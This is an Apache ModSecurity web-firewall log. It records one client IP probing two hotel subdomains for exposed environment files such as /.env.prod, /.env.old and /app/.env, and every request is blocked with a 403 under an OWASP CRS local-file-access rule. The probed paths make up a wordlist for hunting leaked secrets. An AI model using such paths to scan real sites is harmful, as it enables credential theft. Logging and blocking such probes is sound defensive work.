[Tue Oct 27 01:43:44.363539 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env2"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env2"] [unique_id "auA6EMqawth2HP9RxtL-wwAAAAY"]
[Tue Oct 27 01:43:44.363719 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env2"] [unique_id "auA6EMqawth2HP9RxtL-wwAAAAY"]
[Tue Oct 27 01:43:44.364023 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env2"] [unique_id "auA6EMqawth2HP9RxtL-wwAAAAY"]
[Tue Oct 27 01:43:44.400178 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_copy"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env_copy"] [unique_id "auA6EMqawth2HP9RxtL-xAAAAAY"]
[Tue Oct 27 01:43:44.400418 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env_copy"] [unique_id "auA6EMqawth2HP9RxtL-xAAAAAY"]
[Tue Oct 27 01:43:44.400680 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env_copy"] [unique_id "auA6EMqawth2HP9RxtL-xAAAAAY"]
[Tue Oct 27 01:43:44.503369 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "auA6EA67030o4-ZAUjLpnQAAAAg"]
[Tue Oct 27 01:43:44.503632 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "auA6EA67030o4-ZAUjLpnQAAAAg"]
[Tue Oct 27 01:43:44.503933 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "auA6EA67030o4-ZAUjLpnQAAAAg"]
[Tue Oct 27 01:43:44.536068 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.txt"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "auA6EMqawth2HP9RxtL-xQAAAAY"]
[Tue Oct 27 01:43:44.536240 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "auA6EMqawth2HP9RxtL-xQAAAAY"]
[Tue Oct 27 01:43:44.536549 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "auA6EMqawth2HP9RxtL-xQAAAAY"]
[Tue Oct 27 01:43:44.643612 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.json"] [unique_id "auA6EMqawth2HP9RxtL-xgAAAAY"]
[Tue Oct 27 01:43:44.643873 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.json"] [unique_id "auA6EMqawth2HP9RxtL-xgAAAAY"]
[Tue Oct 27 01:43:44.644256 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.json"] [unique_id "auA6EMqawth2HP9RxtL-xgAAAAY"]
[Tue Oct 27 01:43:44.737728 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "auA6EA67030o4-ZAUjLpngAAAAg"]
[Tue Oct 27 01:43:44.738085 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "auA6EA67030o4-ZAUjLpngAAAAg"]
[Tue Oct 27 01:43:44.738366 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "auA6EA67030o4-ZAUjLpngAAAAg"]
[Tue Oct 27 01:43:44.751081 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.yaml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.yaml"] [unique_id "auA6EMqawth2HP9RxtL-xwAAAAY"]
[Tue Oct 27 01:43:44.751241 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.yaml"] [unique_id "auA6EMqawth2HP9RxtL-xwAAAAY"]
[Tue Oct 27 01:43:44.751502 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.yaml"] [unique_id "auA6EMqawth2HP9RxtL-xwAAAAY"]
[Tue Oct 27 01:43:44.793394 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "auA6EA67030o4-ZAUjLpnwAAAAg"]
[Tue Oct 27 01:43:44.793641 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "auA6EA67030o4-ZAUjLpnwAAAAg"]
[Tue Oct 27 01:43:44.793971 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "auA6EA67030o4-ZAUjLpnwAAAAg"]
[Tue Oct 27 01:43:44.831366 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.yml"] [unique_id "auA6EMqawth2HP9RxtL-yAAAAAY"]
[Tue Oct 27 01:43:44.831558 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.yml"] [unique_id "auA6EMqawth2HP9RxtL-yAAAAAY"]
[Tue Oct 27 01:43:44.831796 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.yml"] [unique_id "auA6EMqawth2HP9RxtL-yAAAAAY"]
[Tue Oct 27 01:43:44.874605 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "auA6EA67030o4-ZAUjLpoAAAAAg"]
[Tue Oct 27 01:43:44.874851 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "auA6EA67030o4-ZAUjLpoAAAAAg"]
[Tue Oct 27 01:43:44.875165 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "auA6EA67030o4-ZAUjLpoAAAAAg"]
[Tue Oct 27 01:43:44.895030 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "auA6EA67030o4-ZAUjLpoQAAAAg"]
[Tue Oct 27 01:43:44.895185 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "auA6EA67030o4-ZAUjLpoQAAAAg"]
[Tue Oct 27 01:43:44.895419 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "auA6EA67030o4-ZAUjLpoQAAAAg"]
[Tue Oct 27 01:43:45.062876 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "auA6EQ67030o4-ZAUjLpogAAAAg"]
[Tue Oct 27 01:43:45.062909 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "auA6Ecqawth2HP9RxtL-yQAAAAY"]
[Tue Oct 27 01:43:45.063131 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "auA6Ecqawth2HP9RxtL-yQAAAAY"]
[Tue Oct 27 01:43:45.063131 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "auA6EQ67030o4-ZAUjLpogAAAAg"]
[Tue Oct 27 01:43:45.063380 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "auA6Ecqawth2HP9RxtL-yQAAAAY"]
[Tue Oct 27 01:43:45.063406 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "auA6EQ67030o4-ZAUjLpogAAAAg"]
